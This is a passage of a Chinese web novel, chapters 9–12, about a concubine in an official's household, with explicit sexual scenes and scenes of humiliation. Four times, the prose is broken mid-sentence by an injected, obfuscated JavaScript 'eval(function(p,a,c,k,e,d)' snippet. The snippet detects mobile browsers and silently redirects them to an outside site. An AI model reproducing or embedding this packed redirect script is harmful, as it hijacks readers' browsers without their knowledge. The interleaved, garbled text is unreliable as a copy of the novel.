她的所有注意力都在白玉柱上,忽得开门声响起,徐可心身体一僵。 “不知父亲唤我前来所为何事……” 话未等说完,清朗的声音在身后戛然而止,徐可心大脑一片空白,浑身血液霎时冷凝。 9. 9章 林怀瑾现在就站在她身后,她赤着身子讨好人的姿态完全暴露在他面前。 白布蒙在眼前,她坐在大人腿上,背对着林怀瑾。 既看不见大人的面色,也看不见长公子的面色。 徐可心想,应是恶心憎恶的。 书房内半晌没有声音,不知过了多久,久到徐可心身心麻木,身后终于传来脚步声。 书房门被推开,林怀瑾沉声说了一句失礼了,好似就要离开……未等徐可心松气,身前自林怀瑾进来后一直沉默未言的男人意味不明道,“交代怀瑾的事情,可有眉目?” 他话里没什么情绪,可徐可心就是听出潜藏在话语之下的恶劣。 身后推门声停止,片刻后,脚步声临近,很慢很沉重。 听得出来,这人也未料到进入书房会撞见这般淫靡香艳的情景,也未料到他的父亲丝毫不顾两人的体面,又将他唤了回来。 徐可心也未料到。 她微微蜷缩身子,委屈蔓延至心间,没过多久覆在五脏六腑,压得喘不过气。 一点尊严体面都没有,直接被外人看见了,还是她最怕的清高古板学士。 徐可心不敢想这人之后会怎么在心里想她,她只觉窘迫至极,浑身燥热,恨不得一头撞在柱子上,彻底晕过去。 就不至于赤着身子坐在男人腿上,又被旁人瞧见。 身后之人沉默良久,开始有条不紊地陈述近日朝堂之事。 清朗的男声明显冷下几分,不知是悔恨自己撞见父亲与妾室的情事,还是对她的不满嫌憎,男人声音不停,徐可心的身子也缓缓躬起蜷缩。 她在心中埋怨大人的恶趣味,但眼下也只能靠在罪魁祸首的怀里,以此挡住身前的光景。 受他折磨,又只能受他庇护。 徐可心枕着男人的颈侧,脸埋在他的肩膀上,终于忍不住哭了起来,声音很轻,身子颤抖不停。 怕大人嫌弃她,徐可心不敢哭得太大声,只小声抽泣,一口气哭不出来,压得喉咙生疼,好似有石头卡在里面一般。 好似终于听到她的哭声,身前人终于有了动作,外衣披在她的后背上,遮挡住她露在外面的身子。 几乎瞬间,徐可心不哭了。 靠在男人怀里,环着他的后背,整个人依赖至极。 林远舟垂眸看向女人面前被泪水浸透的白布,见她安静埋首在自己怀里,脖颈羞红,浑身上下透着委屈二字,他终于开恩似的说,“罢了,明日再谈。” 话落,女人颤抖的身体停止。 林远舟环着身前的温香软玉,忽觉可心比一般的雀儿还要温顺,也不会生气,被戏弄了也只会伏在他的怀里小声哭泣。 心上恶劣加重,林远舟却网开一面,没有让林怀瑾再讲下去。 逗弄一下看看反应足够了,再玩下去,怕是要羞愤欲死,若是被吓得郁郁寡欢,之后害怕来书房,反倒是他失了乐趣。 不只徐可心,林怀瑾也饱受折磨,闻言直接转身,连告辞都未说,直接推门离开。 书房门被砰的一声关上,泄愤似的。 林远舟面色如常,握住身前情人的肩窝下侧,将人从怀中抱了起来,扯下白布,对上女人满是泪痕的眸子,抚着她的眼尾不知情似的问,“怎么哭了?” 徐可心面上委屈,又不敢控诉他,只紧抿着唇,要哭不哭的委屈极了。 林远舟用干燥的指腹按压她的眼尾,用力揉压,直到徐可心疼得微微皱眉,眼泪再次噙满眼眶,林远舟才心满意足收回手。 取回白玉柱,用帕子不紧不慢擦拭干净,在徐可心的注视下,放入红木匣子中,明显要留下珍藏。 徐可心眸色微怔,“大人……” 林远舟抬眸,淡声问,“可心会做糕点?” 没想到他会突然问起此事,徐可心眼神困惑,应声道,“会。” 徐念安嗜甜,又挑剔,不吃糖喜欢点心,点心也要甜而不腻,入口清爽,离了府中,没人能做点心给她,徐可心便学了手艺,亲自为她做。 林远舟漫不经心嗯了一声,好似并未听进去,只等徐可心讲完,就勾着她的腰,抚着她的侧脸吻了上来,衔着她的唇,动作也缓慢几分,不似来时那般冷漠直接。 安抚她似的,这几夜林远舟时常来她院中。 听雨阁位于后宅的西南侧,来往不便,但临近书房。 大人每每离开书房,向西走就是听雨阁,若向东走,便入了后宅深处,徐可心得了方便,也时常跑去书房。 众人瞧见,艳羡听雨阁的好位置,又嫌听雨阁的院子太小太旧。 那夜过后,林怀瑾离府数日,四姨娘一直命人盯着书房的动静,得知徐可心也在书房后,她以为大人要命大少爷为徐可心置办什么,连忙命人打听,问来问去,却只得到徐可心送糕点给大少爷的消息。 四姨娘问来问去,什么也未得到,不想落空,跑到正院,随便编了个理由,说徐可心蓄意引诱大少爷,居心叵测。 府中上下谁不知道,大夫人最宝贵她的两个儿子。 “夫人,她过去在教坊司学了一身不入流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559178|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的本事,心思不正,方进府就引得大人时常去她院中,眼下又亲手送糕点给大少爷,她明摆着又把心思打到大少爷身上。” “大少爷如今方入朝为官,仕途畅通,可不能被这狐媚子给勾了去,夫人定要好好惩处她一番。” 大夫人手持茶杯,方要饮用,闻言指尖一顿。 “勿要胡言。” “哎,妾身也是为了夫人着想。” 四姨娘在时,大夫人未说什么,等她走后,大夫人看向站在一旁的丫鬟,冷声道,“传五姨娘过来。” 徐可心本在房中教徐念安弹琴,知道大夫人唤她过去,她心上忐忑不安,又不敢推辞,忙不迭起身就要前去。 见她要走,徐念安也如释重负站起身。 徐可心脚步一顿,又叮嘱小厮丫鬟一番,让她们盯着徐念安,不得离开听雨阁。 徐念安霎时哀嚎。 正院内。 徐可心匆匆赶到,方一进去未等向大夫人行礼,就被人按着肩膀压到里室的供奉佛祖的供台前。 她跪在地上,看向站在一旁阖眸祈福的女人,小心问询,“不知夫人唤妾身前来所为何事?” 大夫人抬眸,瞥了她一眼,一句话未说转身离开。 一旁的嬷嬷站在她身前,居高临下俯视她,眼神轻蔑,“还能为何事?奴婢代夫人问你,为何要送糕点给大少爷?是不是意图不轨?” 徐可心本垂着脑袋,闻言霎时抬眸,“夫人错怪了,妾身送糕点给大少爷,只是为了答谢他那夜收留念安,断无其他心思。” “狡辩。”嬷嬷冷声斥责,“大少爷金尊玉贵,又岂会在意姨娘的几块寒酸糕点,还望姨娘记住这次教训,以后离大少爷远些。” 徐可心也知道糕点算不得什么,可她眼下的确口袋里没几个钱,拿不出什么贵重东西。 她哪里想到会因为糕点被大夫人责罚,心上委屈又只能认栽,跪在佛堂前,只求大夫人能早些放她离开。 她独自一人跪在供台前,足足过了两个时辰,也没人唤她离开。 徐可心腰酸,也只能安分地跪在原地,生怕惹夫人不快,让她长跪不起。 不知过了多久,外面隐隐传来碗碟碰撞声。 徐可心疑心到了正午,也觉有些饿,头晕目眩时,忽得一阵脚步声响起。 “母亲。” 低沉的男声在殿外响起,徐可心昏沉的思绪霎时清醒。 林昭明? 听出来人身份,徐可心霎时跪不住了,只觉身子僵硬,无所适从。 10. 10章 林昭明方从府外回来,直接前往正院拜见母亲,可他进来后,林夫人却警惕地盯着他,质问道,“昭明为何现在回府?” 林昭明走至桌前,“听人说,父亲因为新来的五姨娘有意折辱长兄,我今日回来,特来询问此事。” “并无此事,你长兄怎么会同那位新来的姨娘有所牵扯。” 林昭明看了她有意回避的面色,不解道,“母亲,那妾室到底是何来头,为何父亲这般纵容她?” “能有什么来头,不过是赵大人送来的瘦马罢了。” “父亲也是糊涂,竟为一个无关紧要的妾室同长兄不快。”林昭明未故意压低声音。 里室内,徐可心垂下眉眼,听到无关紧要四字时,身子微微颤抖。 于昭明而言,她的确是无关紧要之人。 过去他就不喜自己退了婚约,如今她成了大人的妾室,和他也再无可能。 徐可心正低头思索时,外面忽地传来脚步声,她眸色一怔。 “过去我交给母亲保管的玉牌可否还在供台上?” “昭明!” 林昭明直接走进里室,大夫人连忙跟了进来,却见里室空无一人,不见徐可心的踪影。 林昭明方向供台走去,闻言不解地看向大夫人,“母亲?” 大夫人紧抿着唇,温声道,“昭明说的可是那块白玉牌?在这里。” 她走至供台前,从抽屉里拿出一个木匣子,递到林昭明手中。 一个刻着莲花的和田玉佩安安静静放在里面,林昭明看了半晌,合上匣子,和林夫人告辞离开。 他眼下在国子监求学,秋日参见科举,主动宿在国子监,鲜少回府。 大夫人未同往日那般留他用午膳,待他走后,大夫人才回了里室。 “出来罢。” 供台后的幕帘微微摇晃,徐可心缓步走了出来,对上大夫人审视的目光,低垂眉眼,不敢同她对视。 大夫人无声注视她半晌,说了一句算你识相,就让她离开了。 见她饶过自己,徐可心忙不迭答谢,快步离开,生怕走得晚了又被她叫回来。 临竹轩。 正是夏明景和之时,青竹摇曳,疏影垂落,清风拂过,暑气散尽。 竹影下,身着浅蓝衣的公子执茶,面目淡然,但细究看去,能发现他的眉眼染上几分说不清道不清的愁绪,好似被心绪所困扰,长久未纾解。 “长兄,果真如下人所说那般,你与那五姨娘有染?”坐在他对面身着白衣的公子放下随身短剑,面色不解。 林怀瑾放下茶杯,“只是谣传。” “那五姨娘为何送你糕点,长兄那夜为何会被父亲传去书房?”林昭明眉头紧皱,劝解道,“长兄,只是一个妾室而已,你何苦为了他惹父亲不快。” 林怀瑾沉默半晌,才道,“你可知那五姨娘是谁?” “自然知晓。” 未等林怀瑾回答,就听他继续道,“吏部侍郎赵大人送给父亲的美人。” 林怀瑾闻言,知晓母亲已经知会府中众人不得告诉他实情,也不愿再多言。 “我与五姨娘并不熟络,只是那日恰巧收留……” 念安二字停在嘴边,话音一转,他道,“收留她家小妹,她送糕点答谢为兄。” 得了他的解释,林昭明也未说相不相信,只提醒他不要同后宅的妾室有所牵扯。 林府上下都知晓,林大人六亲缘浅,同林府众人乃至族中长辈并不熟络,对待亲人也只尽了应尽的本分,再无过多私情。 与他们二人相处,也不似父子,倒像住在同一处宅院的上官下属。 想起那夜自己所看到的香艳之事,林怀瑾面色紧绷,也不愿多说,“道长说你不久前去道观求平安符,梦魇可还好些?” 林昭明揉着眉心,良久才道,“好似的确有用,近日睡得很沉。” “既然如此,为何面色更差了?” 林昭明话语一噎,如何告诉他,自己之前一直梦到的人是徐可心。 那日他未取得平安符,徐可心又来梦里寻他,梦里的情景更加失控,徐可心竟在梦里引诱他,他也不知为何未禁受情欲,同她欢好。 醒来后浑身热汗,裤子黏湿。 林昭明从不知晓,自己的情欲这般重,还是对一个无关紧要的人。 今年暮春就是他同徐可心大婚的日子,若未退婚,徐家也未出事,现在徐可心也应躺在他身侧,可他醒来后,周身依旧空无一人。 他得偿所愿,并未同徐可心成婚。 徐可心如今只是教坊司的一个身份再低微不过的官妓。 他不知为何,心上竟有怅然若失之感。 做了春梦的隔天,他整日心绪不宁,只能前去道观取走那道平安符。 当日他鬼使神差地跑去教坊司,这是他第一次去见徐可心,本以为会见到她狼狈的身影,谁成想却被人告知,徐可心已经被人选中,成了旁人的妾室。 教坊司的嬷嬷方要告诉他徐可心的去向,林昭明却没有再听下去。 几乎落荒而逃。 他也不知道自己为何要走,好似厌恶至极,不想知晓那女人的去处。 那日之后,不知平安符起了作用,还是知晓他与徐可心再无可能,徐可心不再来他梦里寻他,讨好亲近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559179|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>果真如他那日所预料的那般,那女人舍弃了他,跑去旁人的梦里。 一想到她在床上讨好献媚侍奉旁人的情景,林昭明莫名火上心头,不禁在心中斥责她水性杨花。 本就没什么学识,俗气至极,成日只知道情爱,追在自己身后,如今在教坊司被人调教一番,怕是更恬不知耻,每日只想着伺候男人,没有半分主见。 思及此,林昭明面色一沉。 早知这人会被旁人选为妾室,他倒不如提前把人接回自己身边,做个丫鬟,也好过看她下贱,沦为旁人的妾室。 “学业繁重,不日就要参加科举。”林昭明随口道。 两人闲聊片刻,林昭明才告别离开,回了国子监。 他成日专心学业,总不会再被那女人侵入梦中。 林怀瑾在官府宿了几日,才回了府中。 众人知晓他离开,却不知他因何离开,大夫人问起此事,林怀瑾只说公务繁重。 春熙斋。 “大少爷分明已经回府,为何夫人为怎么惩处那女人就放过她了?” 四姨娘紧拧秀眉,她知晓大夫人的手段,怎么可能轻易饶过徐可心,难不成她与大少爷之间真有什么私情?大少爷为她向夫人求情,夫人就放过徐可心了? 思及此,四姨娘面色难看,“这老女人到底再想什么?” 一旁的丫鬟闻言,面色微怔。 四姨娘气在头上,浑然未觉,“我看这老女人成日吃斋念佛坏了脑袋,就算她不管,我也不能让徐可心得意。” “你过来。” 丫鬟闻言,小心走了过去。 四姨娘瞥了她一眼,冷声吩咐,“盯着听雨阁和临竹轩,有一点往来走动,都给我传出去。” 丫鬟微微点头,领命离开。 四姨娘盯了良久,也未得到什么消息,索性直接让丫鬟借着糕点之事,大肆议论。 本来只是一件小事,经过丫鬟小厮们的议论,闹得府中上下人尽皆知。 林怀瑾方回府没多久,又被迫回了官府。 徐可心被大夫人罚跪后,每日安分守己在院中教徐念安弹琴,得知丫鬟们传她心悦大少爷后,徐可心只觉心跳加快。 不自觉想起那夜书房之事,徐可心忽得想明白什么,面色也不自觉微微泛白。 原来大人怀疑她与长公子有染…… 本来事情已经平息了,现在不知怎么又被人提起议论。 徐可心紧攥帕子,在房内来回走动,心绪难以平复。 正当她想着如何平息此事时,管家上门,命她晚上去书房。 她心弦霎时紧绷,大人也知晓了…… 11. 11章 入夜雨急风骤,忽得下起大雨,阴云漫天,天也黑沉沉的,密不透光。 徐可心站在门前,正犹豫是否等雨停再前去书房时,远远望去,急雨之下,身着朝服的男人手执一把油纸伞,向院前走来。 雨借风势,斜斜打在男人的衣摆上。 徐可心眸色微怔,方要举伞上前,男人先一步走至她面前,揽着她的肩膀走进屋内。 “雨急,小心湿了衣衫。”他说。 搭在她身上的手格外有力,隔着衣服压着她的手臂,莫名令人感到安心,夏雨的潮湿萦绕在身侧。 徐可心关上房门后,走到站在屋内的男人身前,帮他脱下外衣,“大人为何冒雨前来,妾身前去即可。” 抱着男人湿透的衣服,徐可心不自觉抱怨道,“若是受寒怎么办?” 有时她忘记自己的身份时,会把林远舟真真切切当成自己的夫君,说出的话也格外沉闷,没几分情愫。 她走至衣柜前,将衣服细细折叠安放好后,又取出一件外衣,方要催他沐浴,一只大手从身后探了过来,贴住她的腰腹微微按压。 潮湿气从身后袭来,无声笼罩在她身侧。 “大人……” 徐可心微微惊呼一声,偏过头,男人的下巴枕在她颈侧,两只手臂横在她身前。 “用了何种香料。” 低低的声音在耳边响起,徐可心不知为何,下意识抬手抚上男人的侧脸,柔声道,“只是沐浴时放了当归艾草。” 她握住男人按在自己腰腹的手,任由他从身后环抱自己。 屋外雨声不停,室内倒是格外安静。 半晌男人起身,前去沐浴。 徐可心站在幕帘外,看他脱下里衣,露出有力结实的后背,犹豫良久,她缓步走上前,为他脱下衣服。 指腹滑过男人紧绷的皮肤,徐可心面色微红,连忙转身收好衣服。 林远舟垂眸看她,倒也未说什么。 一室幽静。 男人浸在水中,双臂搭在木桶边缘,徐可心坐在他身后,为他按揉头皮。 一开始他的头只枕着木桶边缘,半晌他微微挪动身子,直接枕在她的胸膛上。 徐可心手上动作一顿,忽得想起来,大人的口欲很重。 每日醒来时,总是留下满身青色发红的吻痕,胸前也红肿不堪,长久不能痊愈,方要有好的征兆,又被这人咬坏。 她疑心大人年少时没有乳娘,可思来想去,又觉不大可能。 百思不得其解,她也羞于询问,只微微俯身,从身后环住男人的脖颈,将他抱在怀里,面色浮现几分惆怅。 她知晓自己身子丰腴,不比沈家小姐清瘦脱俗,一副仙姿道骨的清流模样。 林昭明过去嫌她身子太肥,徐可心还为此难过数月,躲在房中不敢见人,几日不吃不喝,想着如何瘦下来。 还是小妹破门进来,逼问她到底发生何事,她只能说忧虑自己的体态,不似旁人那般轻盈,俗气太重。 小妹听后,气得在房内打转,不断盘问她,是不是谁在背后讲她的不是。 “有何忧虑?阿姐美若贵妃,念安身子瘦弱,还艳羡阿姐的丰腴。” “莫要听旁人的话,阿姐乃是首辅长千金,自成贵气。” 得了小妹的劝解,徐可心的确好受些许,之后再被林昭明斥责,心上也不至于那般难受,好似针扎一般。 她沉浸在自己思绪里,没有注意到身前的男人不知何时撩开眼皮,盯着虚空,没有征兆抬手,扯住她的衣服。 扑通一声,水花四溅。 等徐可心反应过来时,人已经被拖进水中,衣衫湿透,她狼狈地坐在男人身前,方要问怎么了,一只大手钳住她的脖颈,将她压在水中,连带着唇被一齐堵住。 徐可心的惊呼被压回口中,整个人被按在水里,像扯住救命稻草一般,慌乱地环住男人的脖颈。 呼吸逐渐被掠夺,整个人完全陷在水中,两只有力的手臂按在她的后背上,将她禁锢在怀里。 忽得一只手抚上她的衣襟,轻车熟路地扯开她的衣带,脱下她的外衣扔到桶外。 手上动作看似温柔,实则格外急切。 徐可心浸在水中,起起伏伏,过了半晌,身子被水浸满,她坐在男人腿上,靠在他怀里累得几近昏睡。 她提不起力气,男人却轻松勾着她的腰。 察觉到男人要抱她,徐可心霎时清醒,轻声说自己很重。 林远舟动作一顿,瞥了她一眼,直接单手将她从水中拦腰抱起,徐可心伏在他的肩膀上,只觉身下人的步伐格外可靠有力。 徐可心忍不住环住男人的脖颈,她忽得想起,自她入府后,男人时常将她抱在怀里,从未说过她体态的事情。 男人的肩膀很宽阔,她半个身子依偎在大人怀里,反倒显得她格外瘦弱。 在大人面前,她似乎不必再忧虑自己丰腴的身姿。 莫名的,她的身子连同她的心,一齐酸软。 之前在夜里她难受时还会求男人停下来,今夜她不自觉揽住男人的肩膀,一个不字都未说。 林远舟好似发觉她今夜的顺从,中途停下,无声注视她半晌,只按着她的心口思索什么。 见他停下,徐可心费力地睁开眼皮,眼神迷惑不解,“大人……” 林远舟未说什么,扯住她的手臂,不紧不慢地用衣带将她的手臂缠在床头,轻拍她的腰侧。 徐可心知晓,这是让她背过身的意思。 下半夜男人明显更无礼。 徐可心只咬着被子,任由他索取。 大人不讨厌她,她也喜欢大人的亲近。 虽然他不似在床下那般温柔,但她也愿意受着。 屋外雨声不停,临昏睡前,徐可心听见男人问,“可心会做糕点?” 同样的问题,他问了两次。 直到这次,徐可心才明白大人话里的意思,她环着男人的肩膀,半个身子依偎在他怀里,小声道,“会。” “大人想尝尝妾身的手艺吗?”她小心试探。 男人没有立刻回答,揽着她的腰,不紧不慢按揉,过了半晌,才道,“既然可心主动提起,之后每日晚膳前便送至书房。” “每日都要送吗?”她下意识问。 良久未得到男人的回答,徐可心意识到自己失言,忙不迭讨好地吻上男人的唇角,“每天都会送点心给大人。” 男人漫不经心嗯了一声,纡尊降贵似的地答应了。 倒像是徐可心先主动提起的。 白日徐可心醒来时,身旁已经没有男人的身影,她用过早膳后,满心都是送点心的事情。 “阿姐,阿姐……” 耳边呼唤不停,徐可心匆匆回神,却见徐念安抚着琴,狐疑看她,不解道,“阿姐怎么心不在焉的?” 徐可心微微摇头,“无事。” 她站起身,走至徐念安身后,让她复又弹了一遍,指出几个错处。 如今徐念安还是不曾嫁人的良家女,徐可心想让她嫁人为妻,饶是小官也好,不想让她同自己一样,沦为妾室。 小妹貌美,人也聪慧,不像她是个榆木脑袋,每日本本分分过活,若小妹嫁了人,总会比她过得自在如意。 徐可心手持戒尺,见她有偷懒的意思,便用戒尺轻拍她的手背,徐念安知道她不舍得下重手,也不怕被打手心,只当她脸色难看时,徐念安才老实几分。 午时,方用过午膳,徐可心就跑到小厨房。 她用线慢慢分割点心,徐念安站在一侧,看了半晌,忽得没有征兆伸手,徐可心早有准备,轻轻拍了下她的手背。 徐念安不满地收回手,有模有样地喊了一声疼。 徐可心分好糕点,认真摆盘后,才将她的那份交给她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559180|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徐可心端着盘子,看着一旁的食盒,眼神不解,“阿姐,这份是为谁准备的?” 想起昨夜之事,徐可心面色微红,半晌才道,“吃你的点心去。” 徐念安思索半晌,忽得鼓起腮帮子,“不会是林叔的罢?” 徐可心合上食盒,没有回她。 徐念安见状,面色紧绷,直接扔下手中的糕点,自己走了出去。 徐可心垂下眉眼,她知道念安介怀她给人做妾的事情,可大人的确未曾亏待她什么,她的初次给了大人,也不想从大人身边离开。 她今生今世也只能是大人的人。 再无改嫁的余地。 若大人不要她,她也不知道自己能去哪里。 她端着食盒,亲自送到书房,临进门前,她收起脸上的愁绪,微微扬唇,露出一个浅笑,才走了进去。 男人坐在书房前,手执公文,依旧是那副漫不经心的姿态,好似不是在处理公务,而是在看闲书。 徐可心行礼上前,端出糕点,一一摆放在桌案上。 男人面容闲适,并未看她。 徐可心等了片刻,见男人没有理会他的意思,她挪着步子,犹豫半晌方要退下。 手腕忽得被攥住。 她脚步一顿,抬眸看去,却见男人看着手中的公文,眼也不抬问,“可心去哪里?” 有了上次的事情,她知道大人的话可能并不是问她的去处。 见男人攥她的手腕,徐可心小心道,“妾身准备了点心,大人要品尝吗?” 林远舟没有回答她的话,也未松开她的手腕。 徐可心紧抿着唇,迟疑道,“大人,妾身可否喂您?” 林远舟这才松开她的手腕。 终于猜中大人的心思,徐可心无声松了口气,得了他的允许,徐可心小心地捡起一块糕点,用帕子接在下面,递到男人唇边。 林远舟单手撑头,长发垂在肩侧,无声看了她半晌,才连同指尖一起吃下她喂到唇边的糕点。 微凉的唇贴着指尖,徐可心手指一颤。 直到男人说了声甚好,她才回过神。 本来是她服侍男人吃糕点,过了半晌,不知怎么,她反倒坐在男人腿上,微微张唇,咽下他喂来的糕点。 男人说甚好,可似乎并不怎么喜欢她做的糕点,倒是对喂她吃糕点格外有兴致。 “可心很温顺。” 他的眼底没什么情绪,看她的目光也好似再看一只鸟雀,但徐可心并不反感。 她微微俯身,靠在男人怀里,直接向男人展示她的依赖。 环在她腰侧的手臂收紧,徐可心听他说,“之后每日都要来。” 得了他的命令,徐可心也把这句话放在心上,每天变着花样准备糕点,还命丫鬟出门寻了些制作糕点的方子。 她成日不是教念安弹琴,就是研究点心。 她每天午后往书房跑,饶是在避人耳目,也被有心人看在眼里。 这日上午,徐可心未等用完午膳,就听门外传来一阵急促的脚步声,“不好了!走水了!快来人救火!” 徐可心忙不迭起身,方走出房门,却见小厨房里冒着浓烟。 她眸色一怔,今日还未给大人糕点…… 火势不大,但小厨房里面的陈设尽数被烧坏,待修缮前都不能再用了。 眼见刚过午时,徐可心忙不迭前去府内的厨房,可还未等她进去,就听里面传来一阵笑声。 “你说我这桃花糕漂不漂亮?大人是不是也会喜欢?” 四姨娘站在厨房内,手中捧着一小块糕点,丫鬟站在一旁,连忙附和道,“姨娘的手艺极好,比五姨娘好过百倍千倍。” 四姨娘脸上笑容更盛,方要回答,就看见站在门外的徐可心,眼中笑意霎时褪去,瞥了她一眼,冷声道,“你怎么来了?” “厨房我用着呢,你靠边站着去。” 12. 12章 这几日徐可心时常抱着食盒去书房,她早就看在眼里,命丫鬟去听雨阁打听食盒里的东西,以为是珍馐玉液,却得知里面的东西仅仅是糕点而已。 她怎么不知晓大人爱吃糕点。 四姨娘不得其解,但见徐可心时常带着糕点前去书房,她又不得不怀疑,大人是不是真得改了口味,开始喜欢甜食。 她是家生子,从小陪在大人身边,嘴甜讨得老夫人喜欢后,才成了大人的妾室,若不是老夫人死的早,有老夫人撑腰,她也不至于害怕大夫人。 现在府中上下,只有她一个女主人,权力大得很。 大夫人手段狠毒,压在她头上也就算了,徐可心算什么东西,凭什么和她争。 知晓徐可心近日一直送糕点给大人后,她直接命人买通听雨阁的小厮,烧了小厨房。 四姨娘放下手中的桃花状糕点,丝毫不顾站在厨房外的徐可心,不紧不慢按揉手中的淡粉色面团,两根长指轻轻一拽,桃花就冒了尖。 四姨娘眼也不抬自顾自同身旁的丫鬟讲话,俨然一副不想搭理她的模样。 徐可心站在门外,见房内格外空旷,她寻了一个空桌案,抱着小妹新帮她收集的槐花,四处寻找杂粮豆子。 她的脚步很轻,动作也很慢,尽量蜷缩自己的身子,不想打扰到不远处的几人。 她只想做好她的点心,在晚膳前送到大人手里。 她寻了半天,终于看到摆放各色杂粮的木架,走上前方要伸手扯开临近的袋子,一只手先她一步伸来。 不知何时,站在四姨娘身侧的嬷嬷走到她身侧,直接夺走袋子。 “徐可心,你听不明白吗?我方才说,这厨房我用着呢。” 四姨娘走上前,双闭环胸,冷眼瞧着她,一双秀眉拧得很深。 徐可心来的匆忙,身旁只带了一个丫鬟,被人从厨房赶了出来,她站在外面等了半晌,看了眼守在门前的两个身强体壮的嬷嬷,又看了眼天色,犹豫半晌,向后宅走去。 她的厨房被烧毁了,旁人的还能用…… 她去见三姨娘,方说明来意,丫鬟就笑说,三姨娘现在不在院中,自己做不了主,让她晚膳再来。 亥时再来已经迟了…… 徐可心道谢后,转身离开,想要问问旁人,还未等走去庭院,就听见院内传来三姨娘同人打趣的声音。 “几块寒酸的糕点就想勾得大少爷,也不怕被夫人责罚。” “姨娘,那女人那日已经被夫人罚跪了。” “我说呢,夫人怎会任由狐狸精在府内四处勾引男人。” 徐可心脚步一顿,却见站在远处的丫鬟面上带着笑意,本就是在骗她。 从三姨娘院中离开,她又去了二姨娘的院中,未等进门就被人请了出来,说院内病气重,不宜久留。 被人接二连三赶了出来,徐可心再迟钝,也终于察觉,自己不受她们待见,徐可心无声叹了口气,望了眼远处的正院,又立刻打消心上的念头。 她不敢去见大夫人,被大夫人罚过几次,也恐大夫人责怪自己,在后宅走了良久,一无所获,徐可心又回了府内厨房,却见那两个嬷嬷仍站在厨房外。 四姨娘得老爷喜欢,她初来乍到,也不敢惹对方不快。 白日等到黄昏,徐可心站在院外等得双腿酸胀发麻,四姨娘终于从厨房内走了出来。 府内下人准备晚膳,她顾不得满屋的热气,寻了一个角落。 心上焦急不停,手上动作也愈发慌乱,颤抖不停,打碎了两个瓷盘。 等她出来时,天色已黑。 徐可心端着食盒跑去书房,却见书房门紧闭,明亮橙黄的光线透出窗纸。 她来时心上忐忑不停,恐大人怪罪她来得晚,徐可心犹豫上前,方要请两个侍卫为她传话,侍卫先道,“四姨娘眼下在书房。” 他的手臂挡在徐可心神身前,拦住她的去路。 话音刚落,未等徐可心说什么,书房内传来女人的笑声。 徐可心攥紧食盒的手指用力,半晌才回过神,看向一旁的侍卫,“劳烦帮我交给大人。” 侍卫看了眼她手中的食盒,没说拒绝,但也未伸手。 “四姨娘方才已经送了糕点给大人。”他说。 徐可心垂下眉眼,知道大人已经用过别人的糕点,心跳得厉害,未多加停留回了院内。 大人说每日都要去,但她今日失约了。 恐他责怪自己,徐可心入夜无法安睡,想着等下同大人解释,求得他的原谅。 入夜屋内昏暗,几只夏蝉躲在屋外墙角处,时不时叫唤几声惹人心烦。 她等了良久,也未等到大人。 方才四姨娘在书房,知晓大人今夜不会前来,徐可心紧攥被子,不自觉幻想大人问责她的情景,越深想越焦虑不安。 辗转反侧,直至子时才疲惫地睡了过去。 白日徐可心一醒来,就准备了一份点心,前去书房等在书房外。 侍卫见到她,眼神不解,“姨娘,大人还未回府。” 徐可心微微点头,没有多言,只安安静静站在书房外。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559181|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 卯时上早朝,大人时常在午前回府,可今日不知怎么了,已经过了午膳,徐可心也未见到他的身影。 夏日日头晒得厉害,照在脸上,晒得徐可心白皙的脸颊微微泛红,后背也沁出薄薄热汗,她忍着头晕站在原地。 侍卫见状,提议道,“不如卑职代姨娘转交?” 徐可心微微转头,没有答应。 临近午时,侍卫换班,独留她一人站在书房外。 从白天等到黑夜,院外忽地传来急促的脚步声,徐可心循声看去,以为来人是大人,方要迎上前,却见管家拿着一个木匣子,不解地看她,“五姨娘?” 徐可心不自在地挪动步子,迟疑问,“管家,大人为何还未回府?” “今日前朝有事,大人还未处理完,怕是晚间也不会回府,姨娘快些回去罢。”管家随口说完,进了书房,很快又出来。 